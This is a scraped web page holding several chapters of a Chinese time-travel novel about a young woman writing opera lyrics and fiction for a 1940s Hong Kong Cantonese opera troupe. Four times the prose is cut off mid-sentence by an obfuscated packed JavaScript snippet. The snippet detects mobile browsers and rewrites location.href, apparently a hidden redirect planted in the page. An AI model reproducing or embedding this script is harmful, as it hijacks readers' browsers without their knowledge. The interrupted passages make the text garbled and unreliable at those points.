季北鸿拿起言少微写好放在一边的文稿看了看,他也是从小在戏曲里面泡大的,一看之下十分惊讶:“你居然会填词?” 他说着忽然想起第一次见言少微的时候,他表演的南音,不就是他自己填词的吗?现在想想,那些词的水准也是很好的。 季北鸿看着手中的词,越看越兴奋,忽然拿着文稿转身就出去了。 他先去找了正预备上妆的陆剑铮,把文稿递到陆剑铮眼前:“铮哥,你看看这个词。” “新戏出了吗?”陆剑铮拿着油彩正要往脸上抹,被季北鸿抢下来。 “喂!” “不是,你先看看这个。” 陆剑铮便只好拿过来看,这一看之下就挑了挑眉:“不错,这次溪哥用心了。” 溪哥就是他们戏班的开戏师爷,杜临溪。 能做嘤其鸣剧团的开戏师爷,水准自然是没的说的,但是因为戏班一两个礼拜就得推出来一个新戏,时间太赶,开戏师爷交出来的往往就是急就章,故事与唱词很难经得起推敲。 但其实这已经算当红戏班的高级配置了,很多小戏班根本连剧本都没有,班主只列一个提纲出来,挂在后台。 提纲上面有故事的框架,场次,出场顺序,曲牌等,就是没固定的戏词,演员上了台,得自己即兴编词。 这种提纲戏流行一时,后来因为台词粗糙,故事重复性大,渐渐被淘汰了,但在这个时代,提纲戏还是很主流的。 然而陆剑铮手里这一版词,唱词凄美动人,选词造句又精准简练,与曲谱搭配得相得益彰。 昔日有人听曲,三月不知肉味,他今日一句句读来,却只觉得唇齿留香。 “不是溪哥写的,”季北鸿神神秘秘跟陆剑铮咬耳朵,“是微仔写的。” “他?”陆剑铮有些惊讶。 “正在写呢!”季北鸿挤眉弄眼,示意陆剑铮跟自己一起去看。 陆剑铮却根本不跟他去:“我去拿给溪哥看看。”说着就走。 季北鸿闻言脸色大变,匆忙从陆剑铮手中抽回文稿:“这个可不能叫溪哥看见了,溪哥最讨厌别人改他写的戏,上次我说错词,他都发了好大的脾气,要是叫他看到了,肯定得撵微仔走……” 他话还没说完,忽然见陆剑铮给他使了个眼神,季北鸿心里打个突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698937|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就听到背后有个声音说:“我在你眼里,有这么小气?” 季北鸿脸色微变,僵硬地转过身:“溪哥,今天这么早来呐?” 后面果然站着一个穿着丝绸长衫的中年男人,那人气质颇为儒雅,中等身材,带着一个黑框眼镜。 “拿来我看看。”杜临溪朝季北鸿伸出手。 “溪哥,微仔他人小不懂事……”季北鸿赔笑,他看着杜临溪渐渐沉下来的脸色,脑中已经浮现出言少微兄妹三人被赶出剧团后,饿死街头的惨像了。 季北鸿正打算赖上一赖,手中却是陡然一空,就见陆剑铮从他手中抽出文稿,递给了杜临溪。 眼瞅着杜临溪拿着文稿已经往抄曲室走去,季北鸿急得跳脚:“铮哥!” “溪哥不是你想的那样。”陆剑铮语气有些无奈。 …… 抄写室中,言少微已经写完自己的版本,正在抄杜临溪的版本。察觉到有人走过来,她以为是季北鸿回来了,并没有抬头,依旧抄个不停。 她今天已经落后财叔很多了,可不能再分心做别的了。 不过也就耽误了一个上午,财叔最多比她多抄了一份,要追上倒是不难。 “这个版本的《苦风叹》,是你写的?”忽然头顶上有个陌生的男声说道。 言少微愕然抬头,就见一个长衫男子正低头看自己。 她不认识对方,当下只是瞟了眼对方手里的文稿,点头说:“是我写的。” 财叔坐在她右手边的桌子旁,依旧埋头抄曲,心中却是窃喜,他还想着下次要如何不经意地让杜临溪知道这个后生仔的僭越之举,没想到杜临溪自己就来了。 这次这个不知道天高地厚的后生仔定是要撞板了! 财叔想着,手下笔迹都有些飘起来了。 “你叫什么名字?”杜临溪问。 “言少微。”她说着还是低头写个不停。财叔不停,她就不能停! “你学过写戏?”杜临溪拖了个凳子,随意坐了。 “没,”言少微说,“就是爱听戏。” 杜临溪目光落在她如飞的笔尖,他注意到,言少微根本没有看原作就在写。 乱写的? 杜临溪仔细看看,发现言少微笔下的文字就是自己的那版,一点错也没有。 “你已经把戏词背下来了?”杜临溪有些惊讶。 言少微觉得这个人有点烦,没看到自己在忙吗?还一个劲儿问个不停!她有些无奈地抬头:“我昨天都抄一天了。” 她从小背戏词就很厉害,更不要说她一个文科生,背书本就是她的长项。几千字而已,还是上下文有关联的戏词,对她来讲简直都不用太费脑子。 “不是觉得原作文辞粗糙吗?又何必背下来?”杜临溪问。 此时陆剑铮跟季北鸿也走了进来,正听见这话,季北鸿一脸完蛋了的表情,冲着陆剑铮挤眉弄眼,示意他想想办法。 陆剑铮却只是冲他摇了摇头,什么也没说。 12. 升职加薪 言少微压根没留意到这儿的暗流涌动,一心只是抄曲,闻言她头也没抬就说:“也不能这么讲啦,这版的词虽然不尽如人意,看得出来写词的人一味求快,但是也能看出写词人的古文功底,还是很厉害的。” 季北鸿清了清嗓子,想要提醒言少微,却见杜临溪回头瞥了自己一眼,吓得他当即低头噤声。 财叔一看这情形,就有些得意了,他抬头斥了一声:“真是不知天有多高,地有多厚!乳臭还未干,就想跟开戏师爷比!” “也不是不能比,”杜临溪把言少微的文稿放到她的面前,“至少你这一版,确实写得比我强。” 财叔趾高气昂的脸忽然一僵。 季北鸿也猛地抬起头来。 言少微反应过来:“你是开戏师爷?”她顿感不好意思,自己居然当着人家的面评论人家! 言少微下意识地就说:“抱歉,我……” 杜临溪打断她:“我见你反应快,记性好,下次你来帮我抄曲吧。” 财叔的那张老脸登时扭曲了。 季北鸿也惊呆了。 陆剑铮的眼底却露出一丝并不如何明显的笑意。 唯独言少微有点懵,什么意思啊?什么叫下次来帮他抄曲?她不是正在帮他抄曲吗? 杜临溪说完,就站起来往外走,走到门口,又回头说了一句:“我那一版丢了吧,这次按你的那版来。” 陆剑铮看出言少微的迷茫,解释说:“杜哥的意思不是说照着纸上的抄,是他撰词的时候,他口述,你在一旁帮他记下来。” 这才是真正抄曲师傅的活计,言少微现在做的,顶多算是抄写员的工作。 季北鸿有些开心地捅捅言少微:“这个活儿的人工(薪酬)可比单纯的抄曲多!之前恭叔就是做这个的,他当时拿一百五十蚊一个月!你要认真做啊,只要杜哥满意,肯定能加人工的!” 言少微一听也开心了,要是这能涨人工,她的日子可就轻松多了。 无人留意的角落,财叔的脸色难看极了,他原本以为恭叔走了,抄曲的活儿肯定是自己的,毕竟帮开戏师爷抄曲,是非常考水平的,怎么可能轮到一个新人!这事儿要是传出去,叫戏班其他人又要如何看自己! 不,即时抄曲不是那么容易的,如果那衰仔跟不上开戏师爷的速度,或者听不懂开戏师爷的意思,就一定会被赶出来的! 哼! 是一定!一定! 这个衰仔一定会被赶出来! 就在财叔气呼呼胡思乱想的时候,言少微已经誊抄好了一份,她把誊抄好的那份文稿给他拿了过来:“财叔,这份给你。” 言少微说完就回到自己的位置,开始继续誊抄,临时改稿让他们的抄写进度又拖慢了,她得抓点紧。 好在曲本的抄写并不需要保障全班人马人手一份,只是参演角色需要而已。甚至于有些戏份少的角色,都不用给他们抄全本。 两人抄了三天多,就将新曲本抄完了。 手上的活计做完,又没有新的事情,财叔就收拾东西走了。他们做抄曲的不用坐班,没活儿就能回家。 言少微却没有走,她从包袱里面拿出了自己的白纸,开始写狗娃的故事。 这本书她眼下已经写了两万字了,之前几天她忙着抄曲,没工夫写,但是现在她打算每天至少也要写三千字。如果没有活计她就白天写,如果有活计,她就等着活计抄完了,晚上借这里的电灯来写。 早一点写完,她就能早一点去投稿,早一点投稿,她就能早一点拿到稿费。 言少微最开始写狗娃的故事时,满腔激愤,她想让大家看看这个无人留意的角落,有这样一批无辜的孩子在无声地承受着成年人都未必能忍受的煎熬,写到现在,她也算是将一肚子的情绪发泄了出来。 言少微写过很多小说,她是个成熟的作者,她写文当然不会一味地发泄自己的情绪。她知道光是写狗娃有多惨,是不能长久地留住读者的。 而且最近她看报上别人的小说,发现现在也有不少人在写百姓在时代背景下的悲苦。 她这本书要想出圈,必须另辟蹊径。 关于这个蹊径,她也有了想法。 如果在后世网文泛滥的时代,读者早就阅文无数,各种狗血梗都见过,出头自然是不容易。 但是在八十年前,香江四大才子都还没开始写小说,她只要随便往文里塞一些后世常见的梗,便能让读者耳目一新。 言少微敲着钢笔开始计划往狗娃的故事里面撒什么狗血。 她眼下已经写到—— 狗娃最近交了好运,她遇到了一个好心的大佬哥,那个大佬哥给她买面包,还带她住进了房子。 虽然所谓的房子只是难民用木头自己搭出来的,但也总是房子,比她露宿街头强。 小小的狗娃并不知道命运的每一份馈赠都早已标好了价码,她只觉得,大佬哥对自己这么好,自己一定要好好地回报大佬哥。 而她回报的机会来了。 大佬哥在确认她会游水后,带着她坐船出了海,在夜幕降临之后,让她悄悄接近一艘大船。 在她接近之后,大船上有人丢东西下来。她就需要把东西从水里捡回来,然后交给大佬哥。 言少微想好了要往这个故事里面融入什么狗血设定,正写着呢,季北鸿来找她了。 “你还在抄吗?”季北鸿走过来,“财叔不是都走了吗?” “我抄完了,在写自己的东西。”言少微头也没抬。她想趁着这里有桌子有椅子,还有电灯照亮,多写一点。 “这是狗娃的故事?”季北鸿早就听言少微讲过狗娃的故事。 这些天一到吃饭的时候,他就催着言少微给他讲,此时看到言少微在写后面的,便立即跟在一边看起来。 言少微的小说,是横着写的,跟他们竖着写的曲本不一样,言少微的字还有些缺胳膊少腿。 季北鸿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698938|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然不知道那是简体字,只是觉得有些不习惯,但是看着看着,他就被里面的情节吸引了。 言少微写这本小说,风格跟她写戏词完全不一样,是用大白话写的,语言平实,情节却很抓人。 狗娃碰到的一系列人和事总是充满着风险,让读者忍不住为那孩子揪心,狗娃自己却不觉得,她甚至在为自己成为人家的马仔而开心,哪怕她根本就不知道什么是帮派,什么是马仔,她只知道自己不用饿肚子了。 言少微创造的这个故事不是完全凭空捏造的,而是她根据现实创作的,而文中的帮派描写更是参考了后世的古惑仔电影,显得就特别真实。 季北鸿也是底层出身,很多黑暗的东西他也听说过,此时看到狗娃的经历,一颗心止不住地揪起来。 那样一个瘦瘦小小的孩子,被裹挟进了那样弱肉强食的环境,她能活下来吗? 季北鸿越看,就越是急着想要知道后面的发展。 言少微写字都算快的了,不过言少微写得再快,哪里有他看得快。更别提言少微写着写着还会停下来,划掉前面写好的,重新改写,把个季北鸿急得是抓耳挠腮的。 “这个人是想利用狗娃帮他做这些见不得光的买卖,这人太坏了!可怜狗娃只怕连自己在做什么都不知道吧。” 言少微有些无语地瞪了季北鸿一眼,他这么一直在她耳边叨叨,她还怎么写啊!! “你不用去妆身吗?”言少微忍不住问他。 “今天我不用上台,”季北鸿说,“就是晚上的排练也没我的份。” 他说到这里,眼睛亮起来:“对了,他们晚上排的是你写的本子,你要去看看吗?” “你们都开始排新戏了?”言少微有些惊讶。 季北鸿说:“早都开始了。” 他们并不会等所有的剧本送到手上才开始。毕竟其实所谓新戏大部分都是换汤不换药的,曲调也是固定的,就是要记一记新词而已。 也不怪言少微不知道。这个时候的戏班表演,分为下午场和夜晚场。新戏的排练往往是放到夜晚场结束后,大家吃完夜宵后才进行的。而言少微晚饭后再抄一会儿就会走,并不会等到夜场结束,自然也就没看到他们排练。 “那晚上我留下来看看。”言少微说着就继续写自己的文。 季北鸿依旧在一旁跟着看,时不时还要发表两句意见,就在季北鸿又一次追问后续的时候,言少微有心逗他,把笔一搁:“你知道吗?其实狗娃的亲妈是香江首富。” 季北鸿:“!!??” 他那双狗狗眼瞪得老大。 “呐,前文已经说了,狗娃上岛本来就是来找妈的。”言少微看到他这个反应,心里乐开了花,面上却是一摊手,满脸无辜。 季北鸿瞠目结舌:“但、但是、首、首富!这怎么可能!” 言少微切换到了说书模式:“这就要从十年前说起了,那时候狗娃妈还不是首富,而是首富的女儿——” 13. 意外收入 言少微开始给季北鸿讲狗娃的身世背景。 原来香江首富郑连城膝下只有两个女儿,他便让两个女儿招赘,说好谁先给他生个大孙子,谁就能继承他的亿万家产。 “他两个女儿同日结婚,前后脚怀孕,大女儿郑遥岑先一步生产,生的就是狗娃。而小女儿最多一个月也要生了。” 季北鸿反着坐在椅子上,抱着椅子背:“小女儿生的也是女儿?”他想着既然大女儿最终继承了父亲的财产,必然是生了个大孙子的,那小女儿这一胎只能是女儿。 “非也,”言少微摇头,“小女儿生的是个儿子。” 季北鸿连连追问:“那是她们的爹改主意了?” “她们的爹也没有改主意。” 原来大女婿一看到生出来的是个女儿,唯恐失去继承巨额财产的机会,竟是趁着妻子产后力竭昏迷的时候,将孩子掉包了。 “狸猫换太子啊?”季北鸿给这个情节走向硬控住了,继而又愤愤不平,“这大女婿也太畜生了。自己的亲生骨肉还当不过身外财产吗?” “是呀,他换了孩子后,悄悄把狗娃塞到了乡下亲戚家,之后便再也没有管过,直到战争爆发后,乡下待不下去,亲戚打算带着狗娃上岛找他们。” 眼见着季北鸿的情绪已经完全被自己调动起来了,言少微以后面的情节还没想好为由,非常恶劣地断了更,把人气跑了,这才舒舒服服地开始写文。 既然狗娃的故事基调已经改成了狗血伦理文,那么整个故事的起承转合也得跟着调整。 言少微边修边改,修完又用白纸从开头开始誊抄。 毕竟她的手稿最开始是用铅笔写的,还是横着写的,里面不少涂改的痕迹,又是用的简体字。 这一次誊抄,她用钢笔竖着写,字体也改成了繁体字。 她从小看工尺谱、看粤剧都是看的繁体字,就是自己写得少了些,时不时提笔忘字,不过这几天抄过几天的戏词后,写起繁体来就顺畅多了。 她把目前所有的稿子全都整理好,便没有再继续。收拾好文稿后,她便离开了抄写室,跑到后台去听戏。 四十年代的戏票其实也不便宜,而嘤其鸣戏班是维岛最红的戏班,其票价又要更高一点,不是还没领到工资的言少微能消费得起的,她选择在虎度门边蹭戏听。 时值夜场,眼下在场上表演的是白千声。 言少微记得后世是如何评价白千声的,说他音色清亮,运气自然,其中霸腔(高亢激昂的唱腔)是他最拿手的,只要他这一拔高调门,必定能赢得满堂彩。 言少微记得四十年代正是白千声霸占维岛第一伶王宝座的时候,但是很可惜,网上能找到的白千声的音频都是六十年代之后的,那时候的白千声已经上了年纪,过了巅峰期了,老年人缺气力,霸腔根本上不来。 每回言少微听阿婆讲起来,都让她觉得多少有些遗憾,自己不曾亲眼见过白千声最厉害的时候。 现在她能近距离欣赏白千声的表演了。 看那作手!瞧那身段!听那把声! 饶是言少微阅戏无数,依旧被白千声的功力所折服。 然而她期待了一整场,却也没听到白千声的拿手绝活,甚至言少微留意到,这场戏所有的调门其实都进行了降调处理。 当然,她也并不遗憾,反正她人在嘤其鸣,早晚能欣赏到伶王绝技的,而且近距离欣赏到一代宗师的风采,她也算是大饱眼福了。 到夜场散了,言少微又跟着蹭了顿宵夜,便看到演员们开始准备排练新戏了。 言少微还蛮开心的。 看别人演自己的新戏,听自己写的戏词从演员的口中唱出来,这对于一个编剧来讲,是一个颇有成就感的事情。 新戏是个很短的故事,白千声没有参演,文武生,也就是男主角,是由陆剑铮扮演的。 言少微是鉴戏的老饕,眼光毒辣,她一眼能看出来,现在的陆剑铮舞台经验是不足的,做文武生没他师父那么游刃有余,但有的人大概天生是吃这碗饭的,只要一扮上,那份气质就出来了。 陆剑铮做小武的时候,有一种凌厉霸道的气度,但当他穿上书生的长袍,又多了一种儒雅的感觉。看得出来,演技方面他还有模仿师父的痕迹,但是举手投足间已经带出来一种令人着迷的风姿。 红,对他来讲,是早晚的事情。 排练是在散场后,剧院里的观众都走光了,言少微就坐在台下欣赏,正看着,忽然一个人朝她走过来。 她认出来,那是戏班一个打杂的,别人都叫他钱仔。 “一起看排练吗?”言少微笑着跟他打招呼。 “不了,我还得扫地,”钱仔说,“我过来是骆哥让我叫你去找他。” 言少微知道他说的骆哥,就是她第一次见白千声时,跟在白千声身边的那个年轻人骆清。 骆清是戏班的坐舱。所谓坐舱也就是戏班里负责财务、文书、内外协调等一系列工作的人,位高权重,算是戏班的二把手了。 “是什么事情呀?” “骆哥叫,当然是派钱呀。”钱仔笑着说了句,便又去忙他的去了。 言少微一听有钱拿,忙不迭就去找骆清了。 后台其实没有专门的财务室,骆清眼下是在白千声的休息间里面。他坐在桌子后,桌子上摆着账本与一些钱。 “微仔,这个是你这几天的工钱,一共十四蚊。”骆清将几张叠在一起的纸币推过来。 言少微开心地拿起来。 说起来,这还是她穿越过来后,第一次拿到纸币——港纸没有一蚊以下的面额。所以她在街头卖艺,赚到的都是硬币。 她把纸币拿起来,数了一遍,心里美滋滋的。 这时候就听到骆清又说:“这十五蚊也是你的。” 言少微一愣,就听骆清继续说:“杜哥说新戏戏词是你写的,这是写戏的钱。你别嫌少,新人是这个价码了。数清楚就在这里签字吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698939|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>言少微重写《苦凤叹》的时候,纯粹就是手痒,哪想到居然还能赚到钱,当即笑得眉眼弯弯,在他的簿子上签上了自己的名字。 她今天其实已经没钱了,本来还想着找陆剑铮借两蚊应应急,谁知忽然就阔了! 言少微把二十九蚊的“巨款”揣进兜里,喜滋滋地往外走。 她这边出来,陆剑铮他们也排练完了。 因为是排练,陆剑铮脸上没有上油彩,戏服也没穿全套,只是套了一层最外面的长袍,此时脱下来,里面还穿着他自己的衣服。 言少微乐呵呵地走过去:“铮哥,我今日出粮,请你和鸿仔吃夜宵呀!”她能得到这份工作,也多得陆剑铮他们的帮助,所以她早都打算领到工资后,请他们吃顿饭了。 “改日吧,今日鸿仔也没在。”陆剑铮说。 他这边刚脱下戏袍,就有衣箱(负责管理戏服的工作人员)前来把衣服收走了。 ——陆剑铮眼下还不是正式的文武生,戏袍是借他师父的,这个衣箱叔也是跟他师父的。 “那好吧,改天等鸿仔在的时候咱们一起去吃好的。”言少微盘算着,到时候把两个小家伙也带上,让他们也打打牙祭。 正说着,言少微耳朵动了动,她好像听到后台外面有一个小姑娘撕心裂肺的哭声。听着声音似乎有些耳熟,有点像冯望舒的声音。 言少微心中一惊,忙转身走出去。 刚走出去就发现门口看更正拦着一个小姑娘不让进,那小姑娘不是冯望舒是谁? 她虽然来过一次,但是上次是戏班内部人员带进来的,眼下她一个人想进来,人家就不放她进了。 “望舒!怎么了?”言少微快步走过去,冲那看更说,“抱歉,这是我妹妹。” “小弟他……他发烧……抽搐……我叫不醒他。”冯望舒哭着说。 言少微脸色微变:“从什么时候开始的?” “昨晚其实他就有些发烧了。” “那你昨晚为什么不告诉我?”言少微蹙眉。 昨晚她回去的时候也很晚了,那时候言柳宿已经睡了,只有冯望舒探出头来跟她道了声晚安。 “是我……不好……我以为……他睡一觉……就能好的。”冯望舒哭到打哭嗝,话都断断续续的。她那会儿就是觉得大姐累了一天了,她不想让大姐跟着担心。 可谁知言柳宿的病情没有好转,却变得更加严重了,晚上的时候,他甚至开始抽搐了。 唐楼里面的租户看冯望舒哭得可怜,有婶子便帮着用土方法给言柳宿降一降温,但是却毫无作用。 至于帮着送医院——他们就是自己病了,都不会选择去医院的,都是抗一抗,能扛过去就好,抗不过去,也就算了。 “别哭,我们送他去医院。”言少微拉着冯望舒就要跑,跑出去两步,她忽然想起,她根本不知道医院在哪里,手上也没有一张地图可以看一看,这大半夜的,更是没办法问路。 得找人帮忙。 14. 戏曲大家 言少微顿住脚步,打算回后台,刚一转身,就看到了走出来的陆剑铮。 陆剑铮看了眼冯望舒,又朝着言少微看来:“出什么事了?” “我弟弟病了,你知道最近的医院在哪里吗?”言少微问他。 “我跟你一起去吧。”陆剑铮说。 言少微大喜,有个本地人跟着,也免得她没头苍蝇一样乱撞。 三人说着,便匆匆回到了言少微他们租住的唐楼。 上去一看,正如冯望舒所说,言柳宿的状态很不好,他浑身烫得吓人,人已经神志不清了。 陆剑铮上前一步,一把将言柳宿打横抱起来,一马当先疾步下楼而去。 言少微让冯望舒留下来,自己忙跟在他的身后。 陆剑铮腿长跑得快,言少微竟是很快就有些跟不上了。 言少微从小德智体美均衡发展,身体素质一向很好,可是这具身体显然从小就有些营养不良,长得瘦小不说,走两步都喘。 她在心里暗暗决定,等着他们的情况稳定下来,她一定好好锻炼一下身体。当下她咬咬牙,坚持跟在了陆剑铮的身后。 陆剑铮很快便熟门熟路地带他们找到了附近的诊所。 眼见着诊所就在眼前,陆剑铮便没有再控制速度,大踏步飞奔进了诊所。 等到言少微几乎跑断了气,也跟进诊所的时候,医生已经开始救治了。 诊所是一家很小的西医诊所,言少微一进去就看到了站在帘子外面的陆剑铮。 陆剑铮一看到言少微就说:“别急,医生在看了。” 言少微点点头,没有说什么,只是等在帘子外面。 很快医生便拉开帘子出来了:“谁是这个细佬哥的家属?” “是我,”言少微忙上前去,“我弟弟有没有事?” “没什么大问题,就是小孩子热性惊厥而已。输点药水,在这里观察一晚上看看吧。”那医生简单交代了一下病情,就去救治别的病人了。 很快便有护士过来给言柳宿输液,小孩子太瘦,护士找了半天没找到血管,最后是在言柳宿的额头上插的针。 言少微见言柳宿已经用上药了,心中稍安,对陆剑铮说:“铮哥,今天谢谢你了,要不是有你,我大晚上的,都不知道哪里去找诊所。” “举手之劳而已。”陆剑铮冲她笑笑。 言少微却不知道是不是自己的错觉,她总觉得陆剑铮的笑容特别勉强,想着他是不是太累了,毕竟人家演了一天戏,还排练了一个多小时,刚刚又帮她抱着弟弟找诊所。 言少微就有些内疚了:“铮哥,我这里没什么大事情了,你先回去吧。我自己看着他就行了。” 陆剑铮的目光落在言少微的脸上:“明天你抱得动他?” ……抱不动。 逃命的时候抱个几百米是没有问题,但是从这里回家,他们刚才一路狂奔都跑了二十多分钟。言少微知道自己肯定是抱不动的。 陆剑铮一看言少微的表情,就笑了笑,这次的笑容就比刚才更真实了:“我跟你一起守着吧,明天等你弟弟醒了,我送你们回去。” 言少微想想确实是没别的办法,便也没有再同陆剑铮客气。 病床边有专门给病人家属准备的硬板凳,两人便一人坐了一个。 老实说,言少微觉得陆剑铮的情绪似乎有些不大对劲,他看起来似乎比自己还难过。 自从医生说了言柳宿没有大碍后,她就放下心了,可是陆剑铮依旧眉头紧锁,眼睛不住地往挂着的点滴上看,看起来好像还在焦心。 ……也不知道这到底是谁弟弟。 就在言少微他们待在诊所的时候,戏班后台的人已经基本走光了,只剩下一个打杂的钱仔正在打扫卫生。 一个极为年轻英俊的男子从休息室里走出来,路过妆台的时候,眼一瞥,正看到陆剑铮忘了收好的那份手抄《苦凤叹》。 他拿起来,随手翻了翻,却是骤然兴奋起来,一拍桌子:“这词竟写得如此精彩!” “是呀,冰哥,大家都在说这次的本子质量高。”钱仔自然是认识这人的,这人是白千声的堂侄白冰河。 因为这一层关系,嘤其鸣剧团上下都是拿他当少班主看待的。 算是白千声除了陆剑铮之外,另外一个衣钵传人。 跟陆剑铮一样,平日里都做小武,在白千声不上台的时候,轮流串一串文武生。 不过说是轮流,每次新本子出来,陆剑铮从来不跟他争,都是白冰河先选,他不想唱的戏,才给陆剑铮。 “大家都说?”白冰河一听钱仔这话就蹙起眉头。 “是呀,铮哥正在排这个戏。”钱仔边说边扫地,丝毫没发觉跟他说话的人脸色已经不对了。 白冰河猛地将曲本翻到正面,见上面赫然写着苦凤叹三字。 《苦凤叹》他看过,不是这个词。 如果自己早就看过这个词,又怎么可能把这个戏让给陆剑铮演! 难不成,这是杜临溪跟陆剑铮联手糊弄自己,拿一个粗制滥造的本子骗自己放弃,然后杜临溪再拿出这个高水准的本子给陆剑铮? 白冰河越想,脸色越是难看。 白冰河的扮相不输陆剑铮,却少了陆剑铮那股子凛然之气,显得有些阴郁,所以他的武戏总不如陆剑铮出彩,此刻当他脸色沉下来的时候,就更是有些森然了。 钱仔终于意识到了白冰河的情绪不对劲,缩了缩肩膀,没敢再吭声。 诊所中,陆剑铮丝毫不知道自己在某些人眼里已经成了奸佞小人,他正问言少微:“你之前说找亲戚,现在有消息了吗?” “最近太忙了,没顾得上,而且其实我也不是很想找了,这年头,谁都难,我们找上门去,人家说不定还觉得是累赘。但是我妹妹一直念着她爸爸,我既然答应了帮她找,自然还是得尽力。” “她爸爸叫什么?”陆剑铮问,“我可以问问周围人有没有人听说过。” 言少微也没抱什么希望,只是简单把冯忠恩的情况说了一下。 两人说着说着,又聊到了粤剧上。 言少微的阿婆当年是去了北方,在北方结婚生子,所以言少微身边根本就没有别的人听粤剧。 她除了跟阿婆聊过粤剧,还从来没有在线下找到过第二个同好。 而今坐在她面前的是几年后红透香江的伶王,这可是从小学戏的行家,教他的师父更是名噪一时的红角,于戏曲的见识自然不凡,她当然十分乐意跟对方聊聊戏。 对于陆剑铮来说,这种体验也颇为新鲜。 他学戏的经历其实挺传统的,这个时代学戏也没什么理论知识,白千声又是个话少的人,并不会跟他讲太多,更多的是让他自己观摩、揣摩、模仿。 简而言之,靠自己悟。 而言少微满肚子装的可是后世戏曲的集大成,虽然她最爱粤剧,但是她又不局限于粤剧,别的剧种如越剧、京剧、川剧她一样没少涉猎。 后来她上了大学,虽然学的是导演系,但是还辅修了一个戏剧文学专业,她又将专业理论融入了自己的体悟中。 她随便讲一些什么,都是后世几十年来浓缩的精华,竟叫陆剑铮时不时就有醍醐灌顶的感觉。 不知不觉间,陆剑铮心里言少微的形象已经变了。 原本在他看来,言少微最多是个资深票友,对于戏曲能谈的无非就是一些自己的喜恶。 可他万万没想到,往小了说,言少微能一针见血地指出他表演中的不足之处,往大了说,就连眼下整个戏行的时弊,对方都能随口针砭一二,且说得切中要害。 那等眼光,完全可以说是高屋建瓴。 而更让他心惊的是,言少微告诉他,粤剧不会一直热下去,最多十多年,就会被观众抛弃。 “戏行式微,怕不会来得这么快吧?”陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698940|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑铮被言少微提到的行业之危惊得冷汗涔涔,忍不住多说两句,“我看战后这段时间,戏行一直在复苏,许多散了的戏班又重新聚在了一起,观众也挺热情的。” 他这话表面上看着是在反驳,但其实他已经信了言少微所说的,时代要开始转向了的预测,说话的时候已经带上了他自己都没有意识到的请教语气。 言少微说:“但是时下的戏班演来演去都是什么江湖十八本、新江湖十八本,剧情翻来覆去的都是小姐私奔,公子登科,观众会厌的嘛。” “若是提纲戏的话,其实场场都是不一样的,还是有新鲜感的。”陆剑铮试图为大戏的传统挽一挽尊。 所谓提纲戏就是开戏师爷只定一个大框架,譬如故事的情节、每场的内容、人物角色等等,但是台词是没有的。 全靠着演员厚重的基本功,靠着自己熟悉的排场、程式、口白、作手等在台上即兴表演。 因为维岛的观众喜新不喜旧,戏班一周就得上一套新戏。 开戏师爷哪里有时间去写一个完整的台本,还不是最多写个高|潮部分,剩下的就是把故事梗概丢出去,让演员自由发挥。 像嘤其鸣这种提前写出曲本,提前排练的模式,几乎可以说是顶流戏班才能维持的奢侈了。大部分维岛的戏班要不是演江湖十八本这种经典旧戏,要不就是上提纲戏。 “提纲戏的问题就更大了,没有固定台词,全靠演员爆肚(临场发挥),想也知道这戏有多粗糙……”言少微这一吐槽就停不下来了。 提纲戏这种十分考验演员功底的形式其实在后世已经没人能演了。她也是穿越后才在后台看到的。 但是对于看多了经典的她来讲,提纲戏实在是太过于粗制滥造了。 莫说小戏班了,就是在嘤其鸣,言少微甚至都见过有一次杜临溪在后台现编了一段词,演员看过两遍就直接上台的。 唱到一半忘词儿了怎么办? 爆肚呗! 谁爆肚爆得精彩,反而能收获无数的掌声。 否定提纲戏,其实就是否定了这个时代的大戏根本,否定了艺人们引以为傲的应变能力。 如果是别人跟陆剑铮这么说,他肯定是当对方胡说八道的,但是言少微讲得实在是太有理有据了。 她说的弊病,都是确确实实存在的问题,只不过陆剑铮早已习惯了这样的环境,算是当局者迷。 